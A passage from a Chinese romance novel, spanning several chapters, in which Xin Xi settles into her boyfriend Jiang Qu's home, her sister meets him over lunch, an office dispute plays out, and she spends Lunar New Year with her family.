米白色的亚麻遮光帘挡住了窗外的风光,辛熙好不容易才找到电动开关,按下去的时候,就像帷幕般被拉开,将一场关于璀璨灯火的盛景拱手献上。一百八十度的落地窗,转角的地方被特意处理成了弧形,摆了一个米灰色的懒人沙发,可以将整个人包裹住,辛熙甩身躺进去,舒服得一秒入睡。
可惜,她还没有洗漱,真是个残忍的事实,辛熙不得不强撑起最后一丝精神。
进来时,姜渠给她讲解过,次卧没有单独洗漱间,她只能用公卫。如果她感觉不方便,可以直接从卧室西侧的隐形推拉门过去,二楼的所有房间都是互通的。
西?辛熙站在房间里,上北下南左西右东地确定了方向,果断往左走。一边走一边感叹,姜渠家的这个隐形门做工真不错,掩上的时候完全就是是一堵艺术感极强的装饰墙。
但比这更艺术的是......此时,忽然,进去视线的,活色生香的,荷尔蒙暴烈的,俊男健身!
“你,你,这,这,你,大晚上的不睡觉,你干嘛呢?”像个突然查寝的宿管阿姨。
姜渠对她忽然出现这里没有表现出丝毫的惊讶,仿佛早就料到了这么一出,视线轻飘飘地递过来,“洗手间在另一头。”
辛熙赶紧将手上甩着的蕾丝内裤裹进睡衣里藏着,不服气地念叨:“你家次卧怎么通到书房来啊?真是的。”
“嗯,往前继续走,还能通到主卧去,要去看看吗?”姜渠特意指了指那扇半开的门。
其实什么都看不到,但辛熙还是跟着红了脸,故作嫌弃,“咦~这多没隐私啊,那万一有客人来了,大半夜的走错了,怎么办?”
“客人来了,我自然会关上”,姜渠放下哑铃,露出的半截小臂因为充血而呈现饱满的红,“还有什么建议吗?”
“没有了”,辛熙脚下发软,后退时险些撞到墙上。
洗漱完出来后,她悄悄移到隐形门处,贴着耳朵听了听,确认没有了动静,绷着的紧张感才松懈下来,飞身一个跳跃,滚到刚才的懒人沙发上,踢着腿,摇摇摆摆,好不悠哉。
辛雅给她发了个新居的地址,两个人约好明天碰面。辛熙看着自己的新住处,不太确定,明天要不要跟辛雅说明状况。
窗外的景色赶跑了烦恼。霓虹璀璨、流光熠熠,目光所及之处,高楼似春笋,街区如春蘑,她觉得自己像个睥睨天下、号令群雄的王。如果这时候,可以来杯红酒,摇晃着高脚杯,那指点江山的态势应该能更加入木三分。
辛熙在此刻,无比想念自己津南出租屋里的酒。
咂咂嘴,可惜了,人在屋檐下的第一天。
手机在这时魔幻般地响起来,这个时间点,诈骗电话都知道不要打扰人休息的好吗?辛熙没好生气地接起来。
“看你还没睡,要不要一起喝点?”
看?哪里看到的?装监控了?辛熙猛地坐起身,撒眸四顾。她刚才的躺姿可是春光大泄的。
“后面,往下看”,姜渠提醒她。
辛熙握着电话回头,就见姜渠正坐在楼下的大露台朝她招手。同样灰色调系的长款沙发前,摆着长壶形状的醒酒器,一支高脚杯里的红酒早已见了底。
“马上”,辛熙雀跃着。
“穿件外套。”
“OK。”
辛熙随手抓了件柔软的斗篷披肩套在身上跑下楼,哒哒哒的脚步声,半点没有刚才的倦怠感。虽然做了准备,但拉开推拉门的时候,还是被突然袭来的寒冷刺激得打了个哆嗦。
姜渠已经给两个酒杯添上了酒,指了指自己这边,“过来坐。”
他往旁边让了一点,辛熙这才注意到,刚才在楼上看时以为的烤火炉,其实是用大理石砌的壁炉,炉火将冷色调的露台勾勒出一种神圣感。
辛熙跟着坐过去,沙发底座自动感应,吹出温暖而柔和的热气烘着,“果然,有钱人的世界没有冬天”,辛熙认真地发表感触,“等我有钱了,我也搞一套。”
姜渠笑着将酒杯递给她,“那我到时候跟你去住。”
“行”,辛熙大胆应诺,但补充到:“如果那时候,咱俩还没分手的话。”
姜渠短暂地蹙了下眉,“你这脑子里,成天琢磨些什么。”
“那不结婚的恋爱,就是一定会分手的咯”,辛熙随意地说起,没有任何暗示意义,“但恋爱,咱们还是在认真谈的呢”,她暂时接受了这个不以结婚为目的的恋爱。
杯子里的酒气灌满鼻腔,辛熙真心地赞叹道:“你这酒很香也。”
姜渠提杯与她相碰,“你这个假定的基础是,爱情只能有两个结果,要么结婚要么结束。我不太赞同。”
“是么?”
“爱情本身是可以独立于婚姻存在的。所以恋爱的结果应该是,要么持续爱着,要么爱没了。”
“没有爱是可以经久不衰的”,对于这点,她清醒地悲观着。
“事物发展的规律注定了由盛至衰,所以炽烈的爱情终将归于平淡,但这并不代表爱情没了。”
“是,变成亲情、友情、兄弟情,现在不都流行把另一半称之为是室友、队友么?”辛熙嘿嘿一笑,分享出已婚人士在网络上的调侃。
“少刷点手机”,姜渠给她添了点酒,“别人的经验,参考价值不
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大。”
“嗯......”辛熙晃了晃酒杯,“可你不愿意结婚的原因,是因为你的父母,对吗?”
姜渠神色微顿,又听辛熙强调说:“哦,我没有别的意思。我只是想说,身边人的经验,对我们是有潜移默化的影响的。对吧?”
姜渠并没有否认。
不得不说,这种环境下,与一个好看的男人对饮,谈天说地,简直堪称人间浪漫,但她不想和姜渠讨论爱情与婚姻的相关性,不然她会认为自己所站的立场有逼婚的嫌疑,她可不想给自己贴上这个标签。
辛熙将酒喝完,又将酒杯递过去,带着点撒娇的味道,“可以再给我一杯吗?”
姜渠知道她在转移话题,明白他们要真的做到完全坦诚交流,尚需一段时间,于是跟着扯开,“今晚姥姥叫你进去,都说了什么,让你哭成那样?”
“嗯......”辛熙想起黎英口中描述的那个小小的姜渠。八岁前总是脏兮兮的,但被欺负了会咬着牙和人拼命,饿肚子时学着大人模样去煮饭,却险些将厨房点燃,挨了好一顿揍。学校组织的活动但凡要花钱他都不参加,以至于在很长一段时间里,被老师和同学们定义为“性格古怪”的人。青春的叛逆期里,他疯狂地爱上了极限运动,好几次在极端天气里徒步远行,在恶劣的环境下荒野求生,过程中历经的艰险从未与人说起。
黎英发现他身上带伤,逼问徐进和施琪才了解了个大概,黎英气得,大半年都没见他。
姜渠猜到了大概,他说:“别听她老人家胡说,她就喜欢夸大其词。那时候,其实一点都没觉得苦,小屁孩儿嘛,皮糙肉厚的。”
“嗯”,辛熙像只无脊椎的爬虫咕蛹到姜渠身边,“咱们姜姜才没有性格古怪呢。咱们只是天纵奇才,天赋异禀。武侠小说里,都得是这样的性格才有大作为。”
“那你小时候是什么样?”
“我小时候?嗯,平平常常、老老实实?”辛熙想了想,发现没有任何记忆深刻的故事可以分享,“现在想来,觉得好无趣哦。没有特别的爱好,没有擅长的领域,甚至没有很明确的喜恶。就是很多事情,我都觉得这样也行,那样也没什么不可以的。”
“这说明,你是一个很包容的人。”
“但也很没有个性......”
“这就是你的个性,你不用和别人一样......”姜渠看着靠在自己肩上慢慢睡着的人,轻声说完了剩下的话,“爱你的人会视若珍宝。”
姜渠将先前准备的毛毯盖在辛熙身上。手机里收到施琪发来的消息时,他一口气喝完了剩下的酒。
他今天到吉兆胡同的时间晚了一些,简运事件还是被人捅到了global,他不得不加班处理。Global要求严肃处理相关人员,简运自动离职后,所涉及的人就只有辛熙一人了。
施琪在他和global开完会后,提出关键问题:“你觉得是谁告的状?”
“很多人都有动机。”
“但在global有关系的人可不多。”
这事情原本无从查起的,但架不住他们去美国那阵儿,施琪已经在global发展了自己的人脉关系,可不就在这几个小时内查出来了吗?
施琪对于内线发给自己的消息,有些不敢相信,“耀丹......不是这种会打小报告的人......吧?”
“明天,帮我约一下她。”
74. 第 74 章
在新环境的第一夜,辛熙睡得很好。她伸了个大大的懒腰,感觉全身的经络都疏通了。换好衣服下楼,她在厨房岛台的位置看到了姜渠,他背对着她,热气腾腾的水汽像朵飘落到人间的云。他穿着一件休闲风格的家居服,腰间系带松松垮垮,但并不妨碍展现他宽肩窄腰的优越身形。
“在做什么呢?”辛熙跟随自己的心意,从背后抱住他,脸贴着他的背肌,其实并不关心锅里的食物,“我想,应该有很多人跟你说过,你认真做事的样子,该死的性感!”说完,又调皮地吐舌,强调,“是做任何事的时候!”
“并没有”,姜渠空出来一只手,顺势抓住她交叠在腹前的柔荑。
“不真诚了哦,姜总”,辛熙揶揄道。
姜渠偏过头,有些无奈地轻笑,“在工作场合,如果有人说这样的话,会被认定为性骚扰......当然,在私下里......”
“咳咳”,一声轻咳打断了姜渠的话。辛熙循着声音来的方向,看到了客厅沙发上端坐着的......姜院长。她羞臊着,几乎是条件反射般地躲到了姜渠的背后。掩耳盗铃的结果,是姜渠将人拉出来,“又不是没见过,躲什么。”
辛熙抓着他后背的手往深处探进,揪着他腰间的肉,小声质问:“为什么不提醒我?”但在姜渠回答她之前,她已经站定身子,懂事地朝姜怀正走过去,乖巧地打了声招呼,“姜院长,您好。”
姜怀正态度和蔼,倒是先到了个歉,“临时决定过来,忘了提前打招呼,打扰你们了吧。”
“没有,没有,是我添麻烦了。”
“不用这么紧张。”
“是,是......”
“你在这儿,人家怎么会不紧张”,姜渠端着做好的两碗汤面放到餐桌上,没好声气地说。
辛熙犹豫着,虽然她早就肚子空空,但将姜怀正一个人丢在那儿,自己去吃饭,真的很不礼貌。姜渠瞅她一动不动,又对姜怀正说:“看吧,人被你吓得,连饭都不敢吃了。”
“哪有”,辛熙恨不能将他的嘴封上,尴尬地摇头,“没有的事,他乱讲。”
姜怀正瞪了姜渠一眼,站起身,“没事,那你们吃,我先去医院了。”
“不留下来吃饭吗?”辛熙礼貌地询问。
姜怀正看了眼桌上放着的两个大号斗笠碗和几碟小菜,很明显没准备自己的份,摆着手,“这混小子的饭吃了,我消化不良。”
姜院长就这么走了?辛熙看着慢慢被关上的门,这父子俩的相处既疏远又亲近,真是奇怪。
“想问什么?”姜渠看着她拧在一起的眉头,“心里想着事情的时候吃饭,容易积食。”
“可以问吗?”辛熙从碗里面抬起头,得到姜渠的点头后,才问:“姜院长来,是因为......阿姨吗?”
姜渠闷闷地应了一声,“他就是个傻老头,一根筋。人根本没稀得理他。”
辛熙从姜渠的语气里听出了点替姜怀正打抱不平的怨气。她从黎英那里听到过故事的部分片段,一见钟情、闪婚、离异、替别人养娃,在那个年代,这些出格的事情,对姜怀正这个每一步都走得稳稳当当的人来说,简直是破天荒的。他甚至为此背过单位的处分,晋升之路也落后了同期好几年。
“他们那个年代的人,对待感情的......责任感,更强。”
“或许吧。”
他俩都没有意愿在这个话题上再深入探讨。
辛熙在和辛雅的见面里,将自己吞回去的话重新抖落出来,她说:“从一而终、至死不渝,在这个崇尚自由的时代,已经变成了会被部分人抨击的老旧思想。对吧?可是我却很羡慕姜院长那样的人,嗯,我羡慕姜院长,而不是元阿姨。也许,我真是个落伍的年轻人。”
辛雅对于她的这些话并不觉得奇怪,姐妹俩性格不同,却彼此了解,“所以我真的不理解,你怎么会和姜渠有那样的一个开始。”
“我也不理解”,辛熙将拆出来的几个奖杯摆到客厅的展示柜里,问辛雅,“摆这里可以吗?”
“随便吧”,辛雅头也没抬地敷衍了一句。她终于将最后一只箱子腾空,这个陌生的地方渐渐被自己的东西填充,但也只有自己的东西,辛雅觉得空落落地,她说:“我再也不想搬家了,我要买个自己的房子!”
辛熙超级赞同,“你早就可以买一个了,但你之前总喜欢探寻新的环境和生活方式。”
“对。在以前,如果让我在一个地方待上超过半年,我就会发霉烂掉。”
“那现在呢?”
“现在?”辛雅看着满屋子被拆掉的打包箱说:“我大概可以忍受在一个地方待上七个月了。”
“就多了一个月吗?”
“不能再多了。”
“好吧。”
辛雅果然还是辛雅!
辛熙重新坐回到辛雅身边,木质的地面被地暖烘得暖洋洋地,她问:“姐,你和余博文分手,会觉得遗憾吗?”
辛雅的栗色长卷发遮去了她的表情,可辛熙听到了她声音里压抑的情绪,“绝不”。
辛熙并不意外这个答案,叹道:“哎。可我觉得好可惜啊,感觉余博文会是一个很好的姐夫呢。”
“哪里好?”
辛熙倒真是认真地思索了一番,工作体面,待人真诚。她对余博文最深刻的印象,就是一次,他的一个好朋友将他的微信推给了另一位对他有好感的异性,余博文知道后连夜将这个异性和好朋友一起删了。他说,明知他有女朋友还想给他介绍对象的人,根本没拿他当朋友。辛雅把这件事告诉辛熙的时候,辛熙给余博文点了个超级大的赞。
“这样你就觉得好?”
“嗯,尊重女朋友,对异性有边界感,还不好吗?”
“你记住,感情存续期间的忠诚只是男朋友的基本线”,辛雅认真且带着一点严肃的神情,告诉她,“还有什么,生病了给你送药、节假日送礼物、每天道早晚安,这些,都只是合格配置而不是加分选项。”
“哦。那余博文至少一直是达标的呀。你们为什么会分手呢?”辛熙不死心地追问。
辛雅指了指被扔在墙角的一束玫瑰花,“他今天送的。”
“挺好看的!不是你最喜欢的朱丽叶吗?”
“可他送我的时候,我正抱着一箱子很重的东西准备下楼。”
“他是想挽留你。”
“是的。但是只在意自己的情绪和诉求。”
辛熙大概懂了。余博文想结婚,余博文的父母突然造访,余博文开始在京北看房子,这些事情,都让辛雅感觉自己的真实需求被忽略了。可辛雅绝不是会任由人牵引的人,失去主导权,会让她觉得恐慌。余博文用错了方式。
但无论如何,辛熙都是支持辛雅的,“姐,你买房的钱够吗?我过完年会有一笔很不错的奖金哦。”
“你们那点奖金能有几万
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块钱,能买到一平米吗?”
“当然”,辛熙露出骄傲的表情,“市妇幼的合同回来会有提成,加上bonus,还有省下的房租,七七八八,也应该有......”
“等等,什么房租?”辛雅的疑惑里充满了审视。
“好吧,姐,有个事情我得先跟你做个交待。”
辛熙老老实实地交待完前因后果,她预想辛雅是要大发雷霆的,但她只说了一句话,“我一定得见见他了。”
在去吃饭的路上,辛熙一直试图说服辛雅放弃这个当大家长的机会,“毕竟我都二十多岁了,哪有刚谈个恋爱,立马让人家来见家里人的。”
“他不来见我,我就去见他,二选一。”
“别啊,好姐姐~”辛熙试图通过撒娇,蒙混过关。
辛雅却不接茬,“不让我见的话,我立马给爸妈订机票,让他们来。”
辛熙赶紧拦住,小小地赌气,“真没义气。你谈的哪段恋爱,我告诉家里了。”
辛雅反驳:“我哪一个男朋友,没让你见过。”
“是。每一个被你甩了后,都来纠缠我。不知道的,还以为是我把他们甩了呢。”
“谁你让爱多管闲事。”
“我那不是怕他们伤心太过,做出什么危险的事情么?”辛熙想着自己微信上躺着的几名‘前姐夫’,无奈地摇摇头,她工作之前积累的人脉全是辛雅的前男友。
辛熙底气不足,但本着能拖则拖的原则,商量说:“要不等春节后?这不,马上过年了嘛,工作都忙。嘿,姐,今年咱们还去三亚过年吗?你机票都定好了吗?”
“别岔开话题。”
“我没......”辛熙忽然顿住脚步。
辛雅随着她的视线望过去,几乎立马确定了,咖啡店里坐着的那个男人就是她准备要去见的姜渠。
此时的姜渠,面上已经有些不耐烦,他发现再精明果敢的女人都有一些难纠缠的地方。
何耀丹对于姜渠能这么快调查出来是她告的状,其实一点都不惊讶,她从未故意掩藏。她意外的是,姜渠居然会为了这么一件事情,单独找她,“姜总,未免有些小题大做了。”
“既然何工也认为是件小事,又何必多费这点心思。”
“我在美国的时候,和Lisa一起共事过,昨天也不过是随便聊聊。女人嘛,聊点八卦很正常。”
姜渠不打算再和她闲扯,“我不关心你的行为动机,但是这个结果给我造成了麻烦。”
“真是抱歉了,姜总。恕我直言,如果你没有办法处理好这个事件,我会认为你没有能力做中国区销售部的老大。”
姜渠听此,勾唇一笑,决定结束这次谈话,“了解了。既然何工的目的在我,我就放心了。”
何耀丹按下心里的一阵惊悸,知道自己被套了话,面色不动,“姜总,我只是希望你莫忘初心。你当初找我过来时,说得冠冕堂皇,要改变利益主导业务的模式,用为客户创造的价值来适应新的市场机制。我可不想服务一个以人情分配资源的团队。”
“谢谢提醒。那我也提醒何工一句,我请你来,是希望你解决问题,而不是制造麻烦”,姜渠敛目正色道,“这是你唯一的犯错机会。”
姜渠的威胁让何耀丹有短暂的失神,“姜总,也请你不要是一个色令智昏的领导者!”不然的话,她会怀疑自己的眼光,这比她无法从姜渠这里获得爱情更让她难受。
75. 第 75 章
何耀丹率先看见了从窗外经过的辛熙,漂亮的女孩子在人群中总是醒目的。两个人对视时,互相友好地点头致意,还是何耀丹提醒的姜渠,“姜总,你女朋友来了,那我就先告辞了。”
姜渠回头就看见了她,当然也看见了那个和她眉眼相似,但气质完全不同的辛雅。
见“家长”已经不可避免!
“姜先生,可真是日理万机的,大周末的还约见女同事”,辛雅开口就毫不客气。她见过太多道貌岸然的领导者,靠着自己早入几年社会的优势,在职场上,与涉世未深的女下属保持多方的亲密关系。
“嗯,临时发生点状况,需要紧急处理”,姜渠坦诚道。对于辛雅的那点敌意他并不在意,而是问辛熙,“这位是?”
“我姐”,辛熙皱着鼻子,不清不楚地强调,“亲姐”。
姜渠收敛起懒撒的表情,身体的姿势小幅度地调整,表情多了几分郑重,他看了下时间,“你们吃过午饭了吗?要是没有,对面商区有家餐厅还不错,一起?”
哪有人上赶着撞枪口的,辛熙侧身挡着辛雅,朝姜渠使眼色,“你下午不是还有公事要处理吗?”
辛雅拨开她,并不给她机会和姜渠串通,“公事再忙,都有时间喝咖啡,怎么会没有时间吃午饭呢?对吧?”
“当然。你是辛辛的姐姐,自然也排在公事的前面”,姜渠拉起辛熙的手,自然地朝前面引路,“请吧。”
去餐厅的路上,姜渠打电话定了个安静的包房。从辛雅对自己的态度上来看,他大概能猜到了她会说些什么,所以在服务员上菜后,特意嘱咐,尽量不要主动进来打扰。
安静的气氛,只有辛熙如坐针毡,她拿出手机给姜渠发信息:你还是找个借口开溜吧,我姐来者不善!
姜渠看了眼亮起的屏幕,被她的话逗得唇角微扬,他摁灭手机,翻面盖住,以实际行动拒绝了这个提议。当着第三者的面私下发消息,这个行为不太礼貌,姜渠认为自己需要谨慎一些,他不想给辛雅留下什么不好的印象。
用餐的过程,他服务周到,添茶倒水不说,见姐妹俩在哪道菜上多吃了一口,就会在下一次,主动将菜转到对方的面前。辛雅偶尔会和他聊几句工作,虽然他们领域不同,但管理思维是相通的,两个人聊得也算投机。
“听说姜先生之前是干临床的?”辛雅问得很随意。辛熙却尖起了耳朵,她知道,辛雅开始了。
“嗯,叫我姜渠就好”,姜渠放下筷子,这代表他要认真对待了,“学了几年,真正的从业时间不算长。”
“怎么会转行做起业务了?”辛雅表现出可惜,但其实是在四两拨千斤地试探。
姜渠在回答之前,深深地看了辛熙一眼,似乎在确认自己的措辞不会令辛熙对自己产生负面的判断,但他并没有刻意隐瞒或是美化,而是轻轻地带出一句,“一名顶尖的外科医生一年的年薪不会超过100个,更何况,我应该没有能力做到顶尖。”
辛雅对于他的回答并不意外,这符合她心中对企业高管的固有印象,尤其是做业务的。在职场中,她欣赏这种有野心的人,但这和自己这个的傻妹妹的价值观可就不那么相符了。辛雅并没对此表达立场,她要交给辛熙自己判断。
辛雅转而说起其他,“我们公司最近也有意投资医疗版块,但现在热点轮动快,不管是国产替代还是政策避险,一天一个花样,我们外行人只能看个热闹。”
“高值耗材一旦突破技术壁垒,替代速度将远超预期。至于集采压力嘛,我认为只要舍得成本投入,用耗材养设备,再用设备反哺耗材,类似的渠道模式在现有市场上,大概率会有存活空间”,姜渠的话算是给辛雅点明了一个方向。
“明白,我回去会按照这个方向做一轮筛选。”
一顿饭下来,辛熙几乎没有说上话,她全程都很忐忑。既担心姜渠说什么过份的话,会让辛雅对他的误解更大,也担心辛雅表现得太过挑剔,而让姜渠不适。结果咧,两个人相谈甚欢,至少表面上看来,她的担心是多余的。她甚至觉得,如果辛雅和姜渠在同一家公司,一定会成为齐头并进的伙伴。
或者,竞争对手。
就在她放松警惕时,辛雅说回了正题上,“小妹是家里的宝贝,家里人对她最大的期望就是她开开心心,做自己想做的事情。所以,我们从来不约束她。她也很乖,几乎没让家里操心过。恕我直言,她和你在一起,在我看来,是离经叛道的。”
“姐......”
“你闭嘴”,辛雅呵止了她的话,“你先去结账,我还有点话想和他说。”
“别啊”,辛熙耍赖不想走。
姜渠将手机递给她,“去吧,用我的结账,没有密码。”
辛熙只能不情不愿地离开。
辛雅继续对姜渠说:“你虽然拥有一些现实意义上的成功,但算不得一个理想的对象。至少,不符合我们家里人对她未来的另一半的理想设定。”
姜渠沉默着,被人否定的感觉当然不好受。
“我知道你是一个不婚主义,这一点,我没有立场评判。但小妹之前一直说,她希望自己能在二十八岁的时候结婚,在三十岁之前拥有自己的第一个小孩。我想,这应该和你的人生计划相悖。”辛雅仔细关注着姜渠脸上的表情变化,这些现实问题原本不该由她来说,但她有些担心辛熙泥足深陷。
虽然在此之前,辛熙曾信誓旦旦地说:“在将来的某一天,我和姜渠分手了,我一定会、肯定会、绝对会,快快地再找一个更好的、更喜欢的人。”
辛雅才不相信她的话,“你最好能做到。”
“真的!”
辛雅却听懂了这句话的背后含义,“你没有用‘如果’,你似乎很肯定,你们将来会分手。”
“你之前不是也不看好我们吗?你说,我配不上他”,辛熙表情落寞。
辛雅不得不纠正她,“我所要表达的意思,一定是你俩在客观条件上并不般配。这是两种不同价值观的不匹配,并不是你单方面配不上他。”
“嘿,是么?或许吧”,辛熙吸了吸鼻子,“姜渠是个不婚主义者,但你知道的,我是想要结婚的。像爷爷奶奶、爸爸妈妈、叔叔婶婶、哥哥嫂嫂那样。”
“那你应该现在就和他分手,然后找一个结婚主义者。”
“还不行”,辛熙很坚决,“因为我现在只想和他谈恋爱!”至于以后,她需要再多点时间抗敏治疗。
看吧,这由不得辛雅不担心。
辛熙结完账回来的时候,辛雅已经离开了。
姜渠独自坐在那儿,不知道在想什么。城市的立体空间从窗外延伸,姜渠就像是这条延长线上一个漂浮的不
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确定定点。
辛雅说了什么,根本不用她多费心思去猜。她从小循规蹈矩,与姜渠有关的一系列行为都像是她迟来的青春期叛逆。辛雅的言行无非是想规劝她重新回到正轨。可正轨是什么呢?
“不高兴了吗?”辛熙走过去,搂住他的脖子,语态亲昵,“她是我的姐姐,说话自然是向着我的。你别介意。”
姜渠抬手握住她的手,他有一些尚不明晰的想法,所以暂时还不想多说,“没有不高兴。相反地,我很羡慕你们的姐妹感情。”
“真的吗?”
“真的”,姜渠在她的手背上落下一吻,“至少她没有追问我的过往情史,个人收入,既往病历。”
不像那个女人,那般冒昧。虽然辛雅同样显示出了强硬的一面,但她的坚硬只是一种防守,而非攻击对方。
姜渠忽然有些理解黎英为什么会认为自己配不上辛熙了。
春节前的最后一个工作日,所有人都懒懒散散地,可姜渠一大早进了办公室,计划早退的人不敢付诸行动。
小群里聊得热火朝天:老姜走了吗?老姜还没走?老姜本地人,不用赶春运。求老天爷赐给老姜一个女朋友,再给他配一套恋爱脑,让这个工作狂从此无暇顾及工作吧!
辛熙可忙得很,小群里的消息她根本没时间看。市妇幼要求在合同中明确增值服务,她不得不重新整理配置清单。她还定了当天的最后一班机票回榆林,姜渠说好了要送她去机场。
梁朵丽在辛熙身边来来回回,欲言又止,终于没忍住,俯下身小声地跟她念叨,“哎呀,我和男朋友约好了自驾回老家,得早些走啊,再晚,就得堵高速上了。”
“那你忙完就走呗”,辛熙不以为意,麦高对考勤本来也没有严格的要求。
梁朵丽犹犹豫豫,“可姜总还在呢。”
“他又不管这个。”
梁朵丽可没那么大胆,她将手机递过去,“姐,要不你看看群,听听群众的呼声呢?”
辛熙看完后瞬间懂了,对上梁朵丽恳切的目光,比了个OK的手势。
十分钟,姜渠从办公室离开,被眼力好的人瞧见,群里瞬间沸腾起来。
再一个十分钟后,辛熙加入了早退的队伍,收拾起笔记本电脑,下负一层,钻进了一辆已经启动的黑色保时捷里。
“怎么突然想回家办公?不是说在公司效率高一些吗?”
辛熙说:“马上就是春节长假了,咱们要分开那么多天,我想和你多待会儿。”
辛熙认为自己表达的意思很明确,她所说的待一起,就是他俩在同一个空间里,各自忙活手里的事情。如果她有遇到不懂的,还能顺便问问他的意见,可姜渠认为的待一起,是动态的,纠缠的,密不可分的。
他们从刚出电梯门就开始拥吻。冬季穿得厚,剥下来的衣物在门厅堆成小山,黑和白在互相较劲。
清泉濒临溃堤之危,辛熙从密实的掠夺中抢回了一点理智,“我的配置清单还没做完。”
姜渠咬住她,声音从齿缝里贴着她的肌肤流出,“让你的客户放假吧。”
辛熙被挤着靠倒在玄关的换鞋椅上,还好这里被她铺上了一层毛绒毯,她感觉到一股膨胀的力量在挑衅,在逼她屈服,“姜渠,我认为你是我成为销冠最大的阻碍。”
“荣幸之至!”
76.第 76 章
辛熙险些错过飞机。等她提着电脑包,紧赶慢赶坐到辛雅身边时,脸上的潮红还没褪去。
辛雅撇开眼,嫌弃地说:“你就准备这个样子回去?”
“啊?有什么不对吗?”辛熙不自然地摩挲着后脖颈,明明临出门前她都有仔细整理过。
辛雅伸手将她的毛衣领往上拎了拎,“建议你在家也最好穿高领。”
辛熙的脸红得更透了,马上把围巾戴回去,“我就是刚才跑太热了。”
第二天就是年三十。
辛家的年都是在农场过的,因为地方够大才够一大家子居住。
大伯一大家子从南方回来,堂哥娶了个漂亮的媳妇,生了一对像洋娃娃一样的龙凤胎。二姑一家今年轮到去婆家过年,但也已经提前把新年礼物和给他们几个晚辈的红包送了过来。辛爸爸占老三,下面还有个弟弟。小叔比辛雅大不了几岁,学机械制造,定居在了德国,去年刚结婚,小婶子怀孕了,不便长途飞行,今年也就先不回来了。
虽然少了差不多一半的人,但辛家依然热热闹闹地。
辛熙起床的时候,辛爷爷正在院子里写春联。两个刚刚比桌子高一点的孩子,各占了一个角,也跟着在写写画画。男人们去林间捡了几捆粗木材,平日里在辛家农场干活的人都回了老家,年三十的饭,得他们自己做,大伯最喜欢用柴火灶烧饭。辛雅陪着堂嫂去了花棚里看花。奶奶、大伯母和辛妈妈凑了一桌麻将,三缺一,正好看到辛熙过来,被抓了壮丁。
辛熙还坐稳,就见小侄女哒哒哒地跑过来,举着手机,朝她说:“小姑姑,你的宝宝给你来电话了。”
脆生生的一句,让现场像被突然按下了暂停键。
即便是在情欲最浓的时候,辛熙也从没叫过姜渠什么亲昵的称呼,像是“亲爱的”“宝贝”“老公”之类的词,她一直羞于说出口。可那天,姜渠看到她给江准的备注是“准哥”时,非逼着她改,“要么像你小徒弟一样,叫姜哥~哥?”
“那你给我备注什么?辛辛宝贝吗?”
辛熙本来打算以退为进的。她才不相信姜渠能够忍受得住这么肉麻的词,谁知,他真的拿起手机,将电话和微信都改了。
辛熙大呼,“姜渠,你好这么幼稚哦。”
“亲密关系里的特别昵称是赠予对方的专属标记,我认为这符合正常流程。”
“行,那我就给你改成,姜、姜、宝、宝,姜姜宝宝”,辛熙逐字改完,特意肉麻兮兮地多叫了两遍。
小侄女刚到入学年纪,识得的字不多,四个字里刚好就只认识“宝宝”二字。当然,小侄女更不明白,成年人世界里的“宝宝”,和家里人每次叫自己的意思,大有不同。
小侄女眨着眼睛,用奶呼呼地声音不解地问:“小姑姑,为什么你的宝宝可以玩手机?妈妈都不让我和哥哥玩。”
这该如何解释?辛熙扶额,“因为......这是姑姑的高中同学,名字叫冯宝宝。”真庆幸自己有颗机灵的脑瓜子。
大伯母感到失望,“我还以为咱熙熙终于谈恋爱了呢”,紧接着又叮嘱,“那要没啥重要的事,就长话短说啊,我们这儿可等着你呢。”
辛熙果断按了电源键,决定置之不理,“估计就找我闲聊的,晚点回也成。”
这一晚,就直接晚到了年夜饭后。
饭后,是交换礼物和发红包的环节。辛家的传统,每年年三十,家里长辈都要给晚辈发红包,而晚辈则要回赠长辈礼物。虽然新世纪的电子红包带来了便利,但辛家依然坚持用传统的形式,将人民币装在精心挑选的红包里,给出去时,叮嘱几句,也祝福几句。
辛爷爷和辛奶奶需要准备的红包最多,每一封的祝福语都不同,都是辛爷爷亲自写的。辛熙收到的是“云程发轫”,辛奶奶说:“你今年转到了新的岗位上,未来的万里青云路,要更坚韧,爷爷奶奶都希望你能一直做你想做的事情,并且相信你一定可以做好。”
“谢谢爷爷奶奶。”
辛熙高高兴兴地收下,接着又收到了大伯母和辛妈妈递过来的红包,大伯母说:“新的一年,希望熙熙找个男朋友,不对,是找个好的男朋友。”
辛熙求助地看向辛雅,以往的催婚都是针对辛雅的,可自从辛熙毕业后,她就帮姐姐分担了不少的火力攻击。
堂嫂也给辛熙递了个红包过来,悄悄地对她说:“你就回一句,‘好的’,反正平日里我妈也没时间盯着你找对象。”
“好的,谢谢大伯母,谢谢妈妈,谢谢嫂子。”
辛熙回房间拿礼物的时候,看到了临上飞机前,姜渠递给她的礼品袋,用一个很大的行李袋装着,同行李箱一起托运的。鬼使神差地,她将自己准备好的礼物塞了回去,转而将那个白色的礼品袋提了出去。
礼品袋里是不同尺码的羊绒衫,有男款有女款。
大伯母看到,打趣说:“熙熙这是去十三行搞批发了哟?”
堂嫂却一眼就认出了礼品袋上的亮眼LOGO,对大伯母说:“妈,你什么眼光,这个牌子你不认识吗?”
大伯母定睛一看,“哟喂,这得不少钱吧。”
“没有,一个朋友出国时,代购的,很划算”,辛熙自动忽略掉其中的几道怀疑目光,反正他们也不会拆穿。
男士们不懂什么牌子,他们的衣物基本都是家里的女人在逛街时看到什么就买什么,买了什么就穿什么。
辛熙在喧腾的烟花声中,给姜渠拨通了视频电话,“新年快乐呀,男朋友。”
“新年快乐,消失了十五个小时的女朋友。”
“有这么久么?”
“还有五十三分钟,就是十六个小时了,一天已经过了三分之二。”
“嘿嘿”,辛熙朝着屏幕上的人傻笑,虽然姜渠的语气并不高兴,但她喜欢他的这种计较,“姜渠,新年快乐。”
“刚不是已经说过了吗?”
“嗯”,辛熙说:“就是想强调一下,新的一年,一定要快乐呀!”
“一起快乐!”
“好的!”
就在这时,辛妈妈忽然推门而入,辛熙眼疾手快地将手机盖倒在大腿上,“妈妈,你怎么又不敲门?”
“忘了,忘了”,辛妈妈配合着又退出去,轻敲了下门框,“奶奶要找她的那条桑蚕丝的裙子,她去三亚要穿,我好像收到你的房间了?”
“有吗?”辛熙跟随着母亲的路线,侧移了点身子,完全没有注意到被她盖在大腿上的手机滑落了下去,卡在被褥堆挤出的山脊处,像一双虎视眈眈的鹰眼。她半跪在床上,伸着脖子,帮着找裙子,圆润翘立的臀被毫无保留地凸显出来。辛妈妈翻出些衣服扔到床上,她被迫让开点空间,绵柔的睡裙被扯到了大腿根部。
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辛妈妈很快找到了裙子,看她露着大腿,轻轻拍了一下,“小心着凉。”
